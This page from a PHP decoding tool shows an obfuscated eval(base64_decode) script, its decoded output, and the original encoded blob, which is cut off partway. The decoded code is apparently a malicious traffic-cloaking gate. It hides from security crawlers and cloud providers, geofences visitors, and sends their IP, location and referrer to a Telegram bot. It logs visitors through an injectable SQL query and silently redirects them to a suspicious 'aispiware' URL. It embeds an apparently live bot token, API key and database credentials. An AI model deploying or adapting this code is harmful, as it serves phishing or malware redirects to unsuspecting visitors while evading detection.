Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('JHRlbGVncmFtQm90VG9rZW4gPSAnNzA4MTY4MDU5ODpBQUVGcUVLVEhLQmdubDct..

Decoded Output download

$telegramBotToken = '7081680598:AAEFqEKTHKBgnl7-cXXiP5rS3H38CBJUXAY';
    $chatID = '-1001942316651';
    $redirectURL = 'https://aispiware-latest.0gp.net/azureai'; 
    $ipQualityToken = 'Ve5SSYgvPy7cx6Sx6Qi4K8wImHyOrWms';
    $countryToRedirect = ['US', 'UA', 'GB', 'CN', 'NG', 'ID', 'PK'];
    
    // Set the sleep variable
    $sleep = true;
    
    // Obtain visitor's IP address
    $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Unknown Referrer';
    $visitorHostname = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
    $apiUrl = "https://ipqualityscore.com/api/json/ip/{$ipQualityToken}/{$visitorHostname}?strictness=2&fast=1";
    
    $dbHost = 'localhost';
    $dbUsername = 'hwsr_duppy';
    $dbPassword = 'duppy';
    $dbName = 'hwsr_kindzaza';
    
    // Function to establish a database connection
    function connectToDatabase() {
        global $dbHost, $dbUsername, $dbPassword, $dbName;
        $conn = new mysqli($dbHost, $dbUsername, $dbPassword, $dbName);
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }
        return $conn;
    }
    
    // Function to insert visitor data into the database
    function insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType) {
        $conn = connectToDatabase();
        $ip = $conn->real_escape_string($visitorHostname);
        $hostname = isset($data['host']) ? $conn->real_escape_string($data['host']) : '';
        $city = isset($data['city']) ? $conn->real_escape_string($data['city']) : '';
        $region = isset($data['region']) ? $conn->real_escape_string($data['region']) : '';
        $country = isset($data['country_code']) ? $conn->real_escape_string($data['country_code']) : '';
        $timezone = isset($data['timezone']) ? $conn->real_escape_string($data['timezone']) : '';
        $companyName = isset($data['ISP']) ? $conn->real_escape_string($data['ISP']) : '';
        $companyDomain = isset($data['organization']) ? $conn->real_escape_string($data['organization']) : '';
        $fraud_score = isset($data['fraud_score']) ? $conn->real_escape_string($data['fraud_score']) : '';
    
        $sql = "INSERT INTO visitor_data (ip, hostname, city, region, country, timezone, company_name, company_domain, fraud_score, action, referral, project, destination, page, device) 
                VALUES ('$ip', '$hostname', '$city', '$region', '$country', '$timezone', '$companyName', '$companyDomain', '$fraud_score', '$action', '$referrer', '$domainNameVariable', '$destination', '$page', '$deviceType')";
        if ($conn->query($sql) !== TRUE) {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
        $conn->close();
    }
    
    // Initialize cURL session
    $ch = curl_init();
    
    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $apiUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
    // Execute cURL request
    $response = curl_exec($ch);
    
    // Check for errors
    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    }
    
    // Close cURL session
    curl_close($ch);
    
    // Check if company names like Amazon, Google, Digital Ocean, or Sparklight are found in the response
    $companyNames = ['Amazon', 'Google', 'Digital Ocean', 'Facebook', 'Microsoft', 'Censys'];
    $detectedCompany = '';
    foreach ($companyNames as $company) {
        if (stripos($response, $company) !== false) {
            $detectedCompany = $company;
            break;
        }
    }
    
    // Function to extract domain name and relative document name
    function extractDomainAndPage($url) {
        // Extract domain name using regular expression
        preg_match('/^(?:https?:\/\/)?(?:[^@
]+@)?(?:www\.)?([^:\/
?]+)([^#?]+)/', $url, $matches);
    
        // Get the domain name from the matched result
        $domain = $matches[1];
        $page = $matches[2];
    
        // Remove www and any subdomains
        $domainParts = explode('.', $domain);
        if (count($domainParts) > 2 && $domainParts[0] !== 'www') {
            // If there are subdomains, use the first part as the domain name
            $domain = $domainParts[0];
        } else {
            // Otherwise, use the entire domain
            $domain = $domainParts[0];
        }
    
        // Convert to lowercase and return
        return array(strtolower($domain), $page);
    }
    
    // Get the current URL dynamically
    $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    
    // Extract domain name and relative document name
    list($domainName, $page) = extractDomainAndPage($currentUrl);
    
    // Store the name in a variable
    $domainNameVariable = str_replace(' ', '', ucwords($domainName));
    
    // Function to detect the device type based on the user agent string
    function detectDeviceType($userAgent) {
        $tabletDevices = array('iPad', 'Android', 'tablet', 'Kindle', 'Silk', 'PlayBook');
        $mobileDevices = array('iPhone', 'Android', 'webOS', 'BlackBerry', 'Windows Phone', 'Mobile');
        
        // Check if the user agent contains any tablet device keywords
        foreach ($tabletDevices as $device) {
            if (stripos($userAgent, $device) !== false) {
                return 'Tablet';
            }
        }
        
        // Check if the user agent contains any mobile device keywords
        foreach ($mobileDevices as $device) {
            if (stripos($userAgent, $device) !== false) {
                return 'Mobile';
            }
        }
        
        // If not a tablet or mobile device, consider it a desktop
        return 'Desktop';
    }
    
    // Get the user agent string
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    
    // Detect the device type
    $deviceType = detectDeviceType($userAgent);
    
    // Decode the JSON response
    $data = json_decode($response, true);
    
    // Extract relevant information
    $fraudScore = $data['fraud_score'] ?? null;
    $isCrawler = $data['is_crawler'] ?? null;
    $recentAbuse = $data['recent_abuse'] ?? null;
    $botStatus = $data['bot_status'] ?? null;
    $countryCode = $data['country_code'] ?? null;
    $host = $data['host'] ?? null;
    
    // Prepare message to send to Telegram
    $message = " Visitor Details: {$domainNameVariable} 
";
    $message .= " page: {$page} 
";
    $message .= " Country: {$countryCode}
";
    $message .= " IP Address: {$visitorHostname}
";
    $message .= " Host: {$host}
";
    $message .= " Device Type: {$deviceType} 
";
    $message .= " Refferal : {$referrer} 
";
    
    // Include fraud score if available
    if (!is_null($fraudScore)) {
        $message .= " Fraud Score: {$fraudScore}
";
    }
    
    // Include additional details if available
    if ($isCrawler) {
        $message .= " Visitor is a web crawler
";
    }
    
    if ($recentAbuse) {
        $message .= " Visitor has recent abuse
";
    }
    
    if ($botStatus) {
        $message .= " Visitor bot status is true
";
    }
    
    // Include company name if detected
    if (!empty($detectedCompany)) {
        $message .= " Company detected: {$detectedCompany}
";
    }
    
    // Check if the country code is not US or AU
    if (!in_array($countryCode, $countryToRedirect)) {
        $replyID = 6;
        $action = 'DNT';
        $message .= " Country Not: " . implode(' OR ', $countryToRedirect) . "
";
        $message .= "Visitor has been prevented from continuing the project {$domainNameVariable}";
        $destination = "Stale fish";
        insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
    
    } elseif (!empty($detectedCompany) || $fraudScore > 70 || $isCrawler || $botStatus || $recentAbuse) {
    
        $redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
        $country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
    
        $replyID = 2;
        $action = 'DNT';
        $message .= " Detected Company or a violation
";
        $message .= "Visitor has been prevented from visiting: {$redirectURL}";
        $destination = $redirectURL;
        insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
    
    } else {
        // Conditionally execute loadPageContent based on the value of $sleep
        if ($sleep) {
            $replyID = 6;
            $action = 'DNT';
            $message .= " Code is asleep";
            $destination = "code is asleep";
            insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
    
        } else {
            $redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
            $country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
            
            $replyID = 4;
            $action = 'SENT';
            $message .= " Visitor from {$country} has been redirected to: {$redirectURL}";
            // Send message to Telegram
            $destination = $redirectURL;
            sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
            insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
            // Call the function to perform the silent redirect
            redirectToUrl($redirectURL);
        }
    }
    
    // Send message to Telegram
    sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
    
    // Function to send message to Telegram with the right reply ID
    function sendMessageToTelegram($token, $chatID, $message, $replyID) {
        $telegramApiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
        $params = array(
            'chat_id' => $chatID,
            'text' => $message,
            'reply_to_message_id' => $replyID
        );
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        
        $response = curl_exec($ch);
        
        if (curl_errno($ch)) {
            echo 'Telegram API error: ' . curl_error($ch);
        }
        
        curl_close($ch);
    }
    
    // Function to perform a silent redirect to the specified URL
    function redirectToUrl($url) {
        // Send a redirect header without any notification
        header("Location: $url");
        // Terminate the script execution
        exit();
    }

Did this file decode correctly?

Original Code

<?php eval(base64_decode('JHRlbGVncmFtQm90VG9rZW4gPSAnNzA4MTY4MDU5ODpBQUVGcUVLVEhLQmdubDctY1hYaVA1clMzSDM4Q0JKVVhBWSc7CiAgICAkY2hhdElEID0gJy0xMDAxOTQyMzE2NjUxJzsKICAgICRyZWRpcmVjdFVSTCA9ICdodHRwczovL2Fpc3Bpd2FyZS1sYXRlc3QuMGdwLm5ldC9henVyZWFpJzsgCiAgICAkaXBRdWFsaXR5VG9rZW4gPSAnVmU1U1NZZ3ZQeTdjeDZTeDZRaTRLOHdJbUh5T3JXbXMnOwogICAgJGNvdW50cnlUb1JlZGlyZWN0ID0gWydVUycsICdVQScsICdHQicsICdDTicsICdORycsICdJRCcsICdQSyddOwogICAgCiAgICAvLyBTZXQgdGhlIHNsZWVwIHZhcmlhYmxlCiAgICAkc2xlZXAgPSB0cnVlOwogICAgCiAgICAvLyBPYnRhaW4gdmlzaXRvcidzIElQIGFkZHJlc3MKICAgICRyZWZlcnJlciA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gOiAnVW5rbm93biBSZWZlcnJlcic7CiAgICAkdmlzaXRvckhvc3RuYW1lID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddKSA/ICRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSA6ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgJGFwaVVybCA9ICJodHRwczovL2lwcXVhbGl0eXNjb3JlLmNvbS9hcGkvanNvbi9pcC97JGlwUXVhbGl0eVRva2VufS97JHZpc2l0b3JIb3N0bmFtZX0/c3RyaWN0bmVzcz0yJmZhc3Q9MSI7CiAgICAKICAgICRkYkhvc3QgPSAnbG9jYWxob3N0JzsKICAgICRkYlVzZXJuYW1lID0gJ2h3c3JfZHVwcHknOwogICAgJGRiUGFzc3dvcmQgPSAnZHVwcHknOwogICAgJGRiTmFtZSA9ICdod3NyX2tpbmR6YXphJzsKICAgIAogICAgLy8gRnVuY3Rpb24gdG8gZXN0YWJsaXNoIGEgZGF0YWJhc2UgY29ubmVjdGlvbgogICAgZnVuY3Rpb24gY29ubmVjdFRvRGF0YWJhc2UoKSB7CiAgICAgICAgZ2xvYmFsICRkYkhvc3QsICRkYlVzZXJuYW1lLCAkZGJQYXNzd29yZCwgJGRiTmFtZTsKICAgICAgICAkY29ubiA9IG5ldyBteXNxbGkoJGRiSG9zdCwgJGRiVXNlcm5hbWUsICRkYlBhc3N3b3JkLCAkZGJOYW1lKTsKICAgICAgICBpZiAoJGNvbm4tPmNvbm5lY3RfZXJyb3IpIHsKICAgICAgICAgICAgZGllKCJDb25uZWN0aW9uIGZhaWxlZDogIiAuICRjb25uLT5jb25uZWN0X2Vycm9yKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRjb25uOwogICAgfQogICAgCiAgICAvLyBGdW5jdGlvbiB0byBpbnNlcnQgdmlzaXRvciBkYXRhIGludG8gdGhlIGRhdGFiYXNlCiAgICBmdW5jdGlvbiBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSkgewogICAgICAgICRjb25uID0gY29ubmVjdFRvRGF0YWJhc2UoKTsKICAgICAgICAkaXAgPSAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCR2aXNpdG9ySG9zdG5hbWUpOwogICAgICAgICRob3N0bmFtZSA9IGlzc2V0KCRkYXRhWydob3N0J10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnaG9zdCddKSA6ICcnOwogICAgICAgICRjaXR5ID0gaXNzZXQoJGRhdGFbJ2NpdHknXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydjaXR5J10pIDogJyc7CiAgICAgICAgJHJlZ2lvbiA9IGlzc2V0KCRkYXRhWydyZWdpb24nXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydyZWdpb24nXSkgOiAnJzsKICAgICAgICAkY291bnRyeSA9IGlzc2V0KCRkYXRhWydjb3VudHJ5X2NvZGUnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydjb3VudHJ5X2NvZGUnXSkgOiAnJzsKICAgICAgICAkdGltZXpvbmUgPSBpc3NldCgkZGF0YVsndGltZXpvbmUnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWyd0aW1lem9uZSddKSA6ICcnOwogICAgICAgICRjb21wYW55TmFtZSA9IGlzc2V0KCRkYXRhWydJU1AnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydJU1AnXSkgOiAnJzsKICAgICAgICAkY29tcGFueURvbWFpbiA9IGlzc2V0KCRkYXRhWydvcmdhbml6YXRpb24nXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydvcmdhbml6YXRpb24nXSkgOiAnJzsKICAgICAgICAkZnJhdWRfc2NvcmUgPSBpc3NldCgkZGF0YVsnZnJhdWRfc2NvcmUnXSkgPyAkY29ubi0+cmVhbF9lc2NhcGVfc3RyaW5nKCRkYXRhWydmcmF1ZF9zY29yZSddKSA6ICcnOwogICAgCiAgICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyB2aXNpdG9yX2RhdGEgKGlwLCBob3N0bmFtZSwgY2l0eSwgcmVnaW9uLCBjb3VudHJ5LCB0aW1lem9uZSwgY29tcGFueV9uYW1lLCBjb21wYW55X2RvbWFpbiwgZnJhdWRfc2NvcmUsIGFjdGlvbiwgcmVmZXJyYWwsIHByb2plY3QsIGRlc3RpbmF0aW9uLCBwYWdlLCBkZXZpY2UpIAogICAgICAgICAgICAgICAgVkFMVUVTICgnJGlwJywgJyRob3N0bmFtZScsICckY2l0eScsICckcmVnaW9uJywgJyRjb3VudHJ5JywgJyR0aW1lem9uZScsICckY29tcGFueU5hbWUnLCAnJGNvbXBhbnlEb21haW4nLCAnJGZyYXVkX3Njb3JlJywgJyRhY3Rpb24nLCAnJHJlZmVycmVyJywgJyRkb21haW5OYW1lVmFyaWFibGUnLCAnJGRlc3RpbmF0aW9uJywgJyRwYWdlJywgJyRkZXZpY2VUeXBlJykiOwogICAgICAgIGlmICgkY29ubi0+cXVlcnkoJHNxbCkgIT09IFRSVUUpIHsKICAgICAgICAgICAgZWNobyAiRXJyb3I6ICIgLiAkc3FsIC4gIjxicj4iIC4gJGNvbm4tPmVycm9yOwogICAgICAgIH0KICAgICAgICAkY29ubi0+Y2xvc2UoKTsKICAgIH0KICAgIAogICAgLy8gSW5pdGlhbGl6ZSBjVVJMIHNlc3Npb24KICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgCiAgICAvLyBTZXQgY1VSTCBvcHRpb25zCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkYXBpVXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAKICAgIC8vIEV4ZWN1dGUgY1VSTCByZXF1ZXN0CiAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIAogICAgLy8gQ2hlY2sgZm9yIGVycm9ycwogICAgaWYgKGN1cmxfZXJybm8oJGNoKSkgewogICAgICAgIGVjaG8gJ0N1cmwgZXJyb3I6ICcgLiBjdXJsX2Vycm9yKCRjaCk7CiAgICB9CiAgICAKICAgIC8vIENsb3NlIGNVUkwgc2Vzc2lvbgogICAgY3VybF9jbG9zZSgkY2gpOwogICAgCiAgICAvLyBDaGVjayBpZiBjb21wYW55IG5hbWVzIGxpa2UgQW1hem9uLCBHb29nbGUsIERpZ2l0YWwgT2NlYW4sIG9yIFNwYXJrbGlnaHQgYXJlIGZvdW5kIGluIHRoZSByZXNwb25zZQogICAgJGNvbXBhbnlOYW1lcyA9IFsnQW1hem9uJywgJ0dvb2dsZScsICdEaWdpdGFsIE9jZWFuJywgJ0ZhY2Vib29rJywgJ01pY3Jvc29mdCcsICdDZW5zeXMnXTsKICAgICRkZXRlY3RlZENvbXBhbnkgPSAnJzsKICAgIGZvcmVhY2ggKCRjb21wYW55TmFtZXMgYXMgJGNvbXBhbnkpIHsKICAgICAgICBpZiAoc3RyaXBvcygkcmVzcG9uc2UsICRjb21wYW55KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRldGVjdGVkQ29tcGFueSA9ICRjb21wYW55OwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIGV4dHJhY3QgZG9tYWluIG5hbWUgYW5kIHJlbGF0aXZlIGRvY3VtZW50IG5hbWUKICAgIGZ1bmN0aW9uIGV4dHJhY3REb21haW5BbmRQYWdlKCR1cmwpIHsKICAgICAgICAvLyBFeHRyYWN0IGRvbWFpbiBuYW1lIHVzaW5nIHJlZ3VsYXIgZXhwcmVzc2lvbgogICAgICAgIHByZWdfbWF0Y2goJy9eKD86aHR0cHM/OlwvXC8pPyg/OlteQApdK0ApPyg/Ond3d1wuKT8oW146XC8KP10rKShbXiM/XSspLycsICR1cmwsICRtYXRjaGVzKTsKICAgIAogICAgICAgIC8vIEdldCB0aGUgZG9tYWluIG5hbWUgZnJvbSB0aGUgbWF0Y2hlZCByZXN1bHQKICAgICAgICAkZG9tYWluID0gJG1hdGNoZXNbMV07CiAgICAgICAgJHBhZ2UgPSAkbWF0Y2hlc1syXTsKICAgIAogICAgICAgIC8vIFJlbW92ZSB3d3cgYW5kIGFueSBzdWJkb21haW5zCiAgICAgICAgJGRvbWFpblBhcnRzID0gZXhwbG9kZSgnLicsICRkb21haW4pOwogICAgICAgIGlmIChjb3VudCgkZG9tYWluUGFydHMpID4gMiAmJiAkZG9tYWluUGFydHNbMF0gIT09ICd3d3cnKSB7CiAgICAgICAgICAgIC8vIElmIHRoZXJlIGFyZSBzdWJkb21haW5zLCB1c2UgdGhlIGZpcnN0IHBhcnQgYXMgdGhlIGRvbWFpbiBuYW1lCiAgICAgICAgICAgICRkb21haW4gPSAkZG9tYWluUGFydHNbMF07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gT3RoZXJ3aXNlLCB1c2UgdGhlIGVudGlyZSBkb21haW4KICAgICAgICAgICAgJGRvbWFpbiA9ICRkb21haW5QYXJ0c1swXTsKICAgICAgICB9CiAgICAKICAgICAgICAvLyBDb252ZXJ0IHRvIGxvd2VyY2FzZSBhbmQgcmV0dXJuCiAgICAgICAgcmV0dXJuIGFycmF5KHN0cnRvbG93ZXIoJGRvbWFpbiksICRwYWdlKTsKICAgIH0KICAgIAogICAgLy8gR2V0IHRoZSBjdXJyZW50IFVSTCBkeW5hbWljYWxseQogICAgJGN1cnJlbnRVcmwgPSAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gImh0dHBzIiA6ICJodHRwIikgLiAiOi8vIiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgCiAgICAvLyBFeHRyYWN0IGRvbWFpbiBuYW1lIGFuZCByZWxhdGl2ZSBkb2N1bWVudCBuYW1lCiAgICBsaXN0KCRkb21haW5OYW1lLCAkcGFnZSkgPSBleHRyYWN0RG9tYWluQW5kUGFnZSgkY3VycmVudFVybCk7CiAgICAKICAgIC8vIFN0b3JlIHRoZSBuYW1lIGluIGEgdmFyaWFibGUKICAgICRkb21haW5OYW1lVmFyaWFibGUgPSBzdHJfcmVwbGFjZSgnICcsICcnLCB1Y3dvcmRzKCRkb21haW5OYW1lKSk7CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIGRldGVjdCB0aGUgZGV2aWNlIHR5cGUgYmFzZWQgb24gdGhlIHVzZXIgYWdlbnQgc3RyaW5nCiAgICBmdW5jdGlvbiBkZXRlY3REZXZpY2VUeXBlKCR1c2VyQWdlbnQpIHsKICAgICAgICAkdGFibGV0RGV2aWNlcyA9IGFycmF5KCdpUGFkJywgJ0FuZHJvaWQnLCAndGFibGV0JywgJ0tpbmRsZScsICdTaWxrJywgJ1BsYXlCb29rJyk7CiAgICAgICAgJG1vYmlsZURldmljZXMgPSBhcnJheSgnaVBob25lJywgJ0FuZHJvaWQnLCAnd2ViT1MnLCAnQmxhY2tCZXJyeScsICdXaW5kb3dzIFBob25lJywgJ01vYmlsZScpOwogICAgICAgIAogICAgICAgIC8vIENoZWNrIGlmIHRoZSB1c2VyIGFnZW50IGNvbnRhaW5zIGFueSB0YWJsZXQgZGV2aWNlIGtleXdvcmRzCiAgICAgICAgZm9yZWFjaCAoJHRhYmxldERldmljZXMgYXMgJGRldmljZSkgewogICAgICAgICAgICBpZiAoc3RyaXBvcygkdXNlckFnZW50LCAkZGV2aWNlKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAnVGFibGV0JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBDaGVjayBpZiB0aGUgdXNlciBhZ2VudCBjb250YWlucyBhbnkgbW9iaWxlIGRldmljZSBrZXl3b3JkcwogICAgICAgIGZvcmVhY2ggKCRtb2JpbGVEZXZpY2VzIGFzICRkZXZpY2UpIHsKICAgICAgICAgICAgaWYgKHN0cmlwb3MoJHVzZXJBZ2VudCwgJGRldmljZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJ01vYmlsZSc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gSWYgbm90IGEgdGFibGV0IG9yIG1vYmlsZSBkZXZpY2UsIGNvbnNpZGVyIGl0IGEgZGVza3RvcAogICAgICAgIHJldHVybiAnRGVza3RvcCc7CiAgICB9CiAgICAKICAgIC8vIEdldCB0aGUgdXNlciBhZ2VudCBzdHJpbmcKICAgICR1c2VyQWdlbnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CiAgICAKICAgIC8vIERldGVjdCB0aGUgZGV2aWNlIHR5cGUKICAgICRkZXZpY2VUeXBlID0gZGV0ZWN0RGV2aWNlVHlwZSgkdXNlckFnZW50KTsKICAgIAogICAgLy8gRGVjb2RlIHRoZSBKU09OIHJlc3BvbnNlCiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKCRyZXNwb25zZSwgdHJ1ZSk7CiAgICAKICAgIC8vIEV4dHJhY3QgcmVsZXZhbnQgaW5mb3JtYXRpb24KICAgICRmcmF1ZFNjb3JlID0gJGRhdGFbJ2ZyYXVkX3Njb3JlJ10gPz8gbnVsbDsKICAgICRpc0NyYXdsZXIgPSAkZGF0YVsnaXNfY3Jhd2xlciddID8/IG51bGw7CiAgICAkcmVjZW50QWJ1c2UgPSAkZGF0YVsncmVjZW50X2FidXNlJ10gPz8gbnVsbDsKICAgICRib3RTdGF0dXMgPSAkZGF0YVsnYm90X3N0YXR1cyddID8/IG51bGw7CiAgICAkY291bnRyeUNvZGUgPSAkZGF0YVsnY291bnRyeV9jb2RlJ10gPz8gbnVsbDsKICAgICRob3N0ID0gJGRhdGFbJ2hvc3QnXSA/PyBudWxsOwogICAgCiAgICAvLyBQcmVwYXJlIG1lc3NhZ2UgdG8gc2VuZCB0byBUZWxlZ3JhbQogICAgJG1lc3NhZ2UgPSAi8J+VuCBWaXNpdG9yIERldGFpbHM6IHskZG9tYWluTmFtZVZhcmlhYmxlfSBcbiI7CiAgICAkbWVzc2FnZSAuPSAi8J+TnCBwYWdlOiB7JHBhZ2V9IFxuIjsKICAgICRtZXNzYWdlIC49ICIgQ291bnRyeTogeyRjb3VudHJ5Q29kZX1cbiI7CiAgICAkbWVzc2FnZSAuPSAiIElQIEFkZHJlc3M6IHskdmlzaXRvckhvc3RuYW1lfVxuIjsKICAgICRtZXNzYWdlIC49ICLwn5eEIEhvc3Q6IHskaG9zdH1cbiI7CiAgICAkbWVzc2FnZSAuPSAi77iPIERldmljZSBUeXBlOiB7JGRldmljZVR5cGV9IFxuIjsKICAgICRtZXNzYWdlIC49ICLinYQgUmVmZmVyYWwgOiB7JHJlZmVycmVyfSBcbiI7CiAgICAKICAgIC8vIEluY2x1ZGUgZnJhdWQgc2NvcmUgaWYgYXZhaWxhYmxlCiAgICBpZiAoIWlzX251bGwoJGZyYXVkU2NvcmUpKSB7CiAgICAgICAgJG1lc3NhZ2UgLj0gIiBGcmF1ZCBTY29yZTogeyRmcmF1ZFNjb3JlfVxuIjsKICAgIH0KICAgIAogICAgLy8gSW5jbHVkZSBhZGRpdGlvbmFsIGRldGFpbHMgaWYgYXZhaWxhYmxlCiAgICBpZiAoJGlzQ3Jhd2xlcikgewogICAgICAgICRtZXNzYWdlIC49ICIgVmlzaXRvciBpcyBhIHdlYiBjcmF3bGVyXG4iOwogICAgfQogICAgCiAgICBpZiAoJHJlY2VudEFidXNlKSB7CiAgICAgICAgJG1lc3NhZ2UgLj0gIvCfjq8gVmlzaXRvciBoYXMgcmVjZW50IGFidXNlXG4iOwogICAgfQogICAgCiAgICBpZiAoJGJvdFN0YXR1cykgewogICAgICAgICRtZXNzYWdlIC49ICIgVmlzaXRvciBib3Qgc3RhdHVzIGlzIHRydWVcbiI7CiAgICB9CiAgICAKICAgIC8vIEluY2x1ZGUgY29tcGFueSBuYW1lIGlmIGRldGVjdGVkCiAgICBpZiAoIWVtcHR5KCRkZXRlY3RlZENvbXBhbnkpKSB7CiAgICAgICAgJG1lc3NhZ2UgLj0gIiBDb21wYW55IGRldGVjdGVkOiB7JGRldGVjdGVkQ29tcGFueX1cbiI7CiAgICB9CiAgICAKICAgIC8vIENoZWNrIGlmIHRoZSBjb3VudHJ5IGNvZGUgaXMgbm90IFVTIG9yIEFVCiAgICBpZiAoIWluX2FycmF5KCRjb3VudHJ5Q29kZSwgJGNvdW50cnlUb1JlZGlyZWN0KSkgewogICAgICAgICRyZXBseUlEID0gNjsKICAgICAgICAkYWN0aW9uID0gJ0ROVCc7CiAgICAgICAgJG1lc3NhZ2UgLj0gIvCfn6ggQ291bnRyeSBOb3Q6ICIgLiBpbXBsb2RlKCcgT1IgJywgJGNvdW50cnlUb1JlZGlyZWN0KSAuICJcbiI7CiAgICAgICAgJG1lc3NhZ2UgLj0gIlZpc2l0b3IgaGFzIGJlZW4gcHJldmVudGVkIGZyb20gY29udGludWluZyB0aGUgcHJvamVjdCB7JGRvbWFpbk5hbWVWYXJpYWJsZX0iOwogICAgICAgICRkZXN0aW5hdGlvbiA9ICJTdGFsZSBmaXNoIjsKICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAKICAgIH0gZWxzZWlmICghZW1wdHkoJGRldGVjdGVkQ29tcGFueSkgfHwgJGZyYXVkU2NvcmUgPiA3MCB8fCAkaXNDcmF3bGVyIHx8ICRib3RTdGF0dXMgfHwgJHJlY2VudEFidXNlKSB7CiAgICAKICAgICAgICAkcmVkaXJlY3RVUkwgPSBpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkgPyAkcmVkaXJlY3RVUkwgOiAkc2Vjb25kUmVkaXJlY3RVUkw7CiAgICAgICAgJGNvdW50cnkgPSBpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkgPyAkY291bnRyeVRvUmVkaXJlY3QgOiAkc2Vjb25kQ291bnRyeVRvUmVkaXJlY3Q7CiAgICAKICAgICAgICAkcmVwbHlJRCA9IDI7CiAgICAgICAgJGFjdGlvbiA9ICdETlQnOwogICAgICAgICRtZXNzYWdlIC49ICLinYwgRGV0ZWN0ZWQgQ29tcGFueSBvciBhIHZpb2xhdGlvblxuIjsKICAgICAgICAk